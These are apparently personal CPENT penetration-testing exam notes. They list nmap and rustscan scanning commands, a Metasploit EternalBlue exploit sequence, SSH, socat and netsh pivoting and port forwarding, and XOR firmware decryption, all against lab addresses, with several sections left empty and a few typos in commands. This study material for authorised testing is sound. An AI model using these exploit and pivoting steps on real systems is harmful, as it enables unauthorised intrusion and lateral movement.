---
tags: 工作用, Pentest, 滲透測試, CPENT
---
# CPENT考試筆記(Vincent)
## SCAN
```bash=
$ sudo nmap -n -sn -PS22,80,445,3389 192.168.0.1-254 -oG ip_scan.txt
$ grep Up ip_scan.txt | cut -d"" -f2
```
```bash=
for i in {1..254}; do (ping -c 192.168.0.$i | grep "bytes from" &); done
```
```bash=
$sudo nmap -p 1-1024
$sudo nmap -p 1024-
$sudo nmap -p -1024
$sudo nmap -p -
$sudo nmap -n scanme.nmap.org -p22,25,80,135 --reason
```
```bash=
$sudo dpkg -i rustscan_2.0.1_amd64.deb
$rustscan -u 5000 -t 7000 -a 192.168.0.7
$rustscan -u 5000 -t 7000 --script none -a 192.168.0.7
$rustscan -u 5000 -t 7000 -a 192.168.0.7 -- -Pn -sVC -oA 7_host
```
### Exploit MS17_010
```bash=
$msfconsole
>search ms17_010
>use exploit/windows/smb/ms17_010_eternalblue
>show options
>set rhosts 192.168.0.7
>check
>exploit
```
## ENUMERATION
## Privilege Escalation
## Egress Busting
## Persistent
## POST
## OT
## Pivoting & Double Pivoting 跳台 & 雙跳台
```bash=
$ssh -L: 80:192.168.0.24:80 administrator @192.168.0.70
```
```bash=
$ssh -R *:8008:192.168.0.24:80 administrator@192.168.0.70
$sudo nano /etc/ssh/sshd_config
→GatewayPorts yes
$sudo service ssh restart
```
```bash=
$ssh -D 9050 administrator@192.168.0.70
$sudo nano /etc/proxychains.conf
```
```bash=
$ssh -J administrator@192.168.0.70 administrator@192.168.0.10 -L *:8888:192.168.0.24:80
```
```bash=
# MSF
>Use exploit/multi/ssh/sshexec
>set rhosts<>
>set username<>
>set password <>
>exploit
## Meterpreter (Session-Routing)
>run post/multi/manage/autoroute OPTION=s
>run autoroute -p
>background
```
```bash=
https://github.com/bovine/datapine/blob/master/datapipe.c
# change Line 80: 20 -> 999
$gcc datapine.c -o datapine
datapipe 0.0.0.0 135 <WIN> 135
datapipe 0.0.0.0 445 <WIN> 445
datapipe 0.0.0.0 4444 <PARROT> 4444
```
```bash=
#Socat (full function, fat, support UDP)
socat tcp-listen:80,fork tcp:<IP>:80
socat udp-recvfrom:161,fork udp-sendto:<IP>:161
socat udp-recvfrom:53,fork udp-sendto:<IP>:53
socat udp-recvfrom:123,fork udp-sendto:<IP>:123
#Portproxy(Windows netsh built-in)
netsh interface portproxy add v4tov4 80 <IP> 80
netsh interface portproxy show v4tov4
netsh interface portproxy delete v4tov4 80 <IP> 80
```
## IOT
```bash=
$binwalk -t encrypted.bin
$hexdump -v -C encrypted.bin
$binwalk -E encrypted.bin
$hexdump -v -C encrypted.bin | cut -d" " -f3-20 | sort | uniq -c | sort -nr | head -n 20
$chmod +x xcat.py
$./xcat.py -x <xor_key> encrypted.bin > decrypted.bin
$binwalk -t decrypted.bin
```
```bash=
$python3 -m pip3 install xortool
$xortool enctypted.bin
$xortool enctypted.bin -l 8 -c 00
$binwalk -t -e xortool_out/0.out
$cat xortool_out/filename-key.csv
$python -c "print(b'\x88D\xa2\xd1h\xb4Z-'.hex())"
```
## BINARY
- https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/february/inside-windows-win32-portable-executable-file-format-in-detail
- https://docs.microsoft.com/en-us/archive/msdn-magazine/2002/march/inside-windows-an-in-depth-look-into-the-win32-portable-executable-file-format-part-2
- https://tech-zealots.com/malware-analysis/pe-portable-executable-structure-malware-analysis-part-2/
- http://blog.dkbza.org/2012/08/pe-file-format-graphs.html
- https://web.archive.org/web/20171130164537/http://nairobi-embedded.org/004_elf_format.html
- https://web.archive.org/web/20171129031316/http://nairobi-embedded.org/040_elf_sec_seg_vma_mappings.html
```bash=
$strings ./crackme0x00a | grep GLIBC
$objdump -d /bin/bash
$objdump -d -M intel /bin/bash
use gdb to look at the registers
$gdb -q /bin/bash
$break main
$run
$info registers
```
## AD PT
## Web to RCE
Sign in with Wallet
Connect another wallet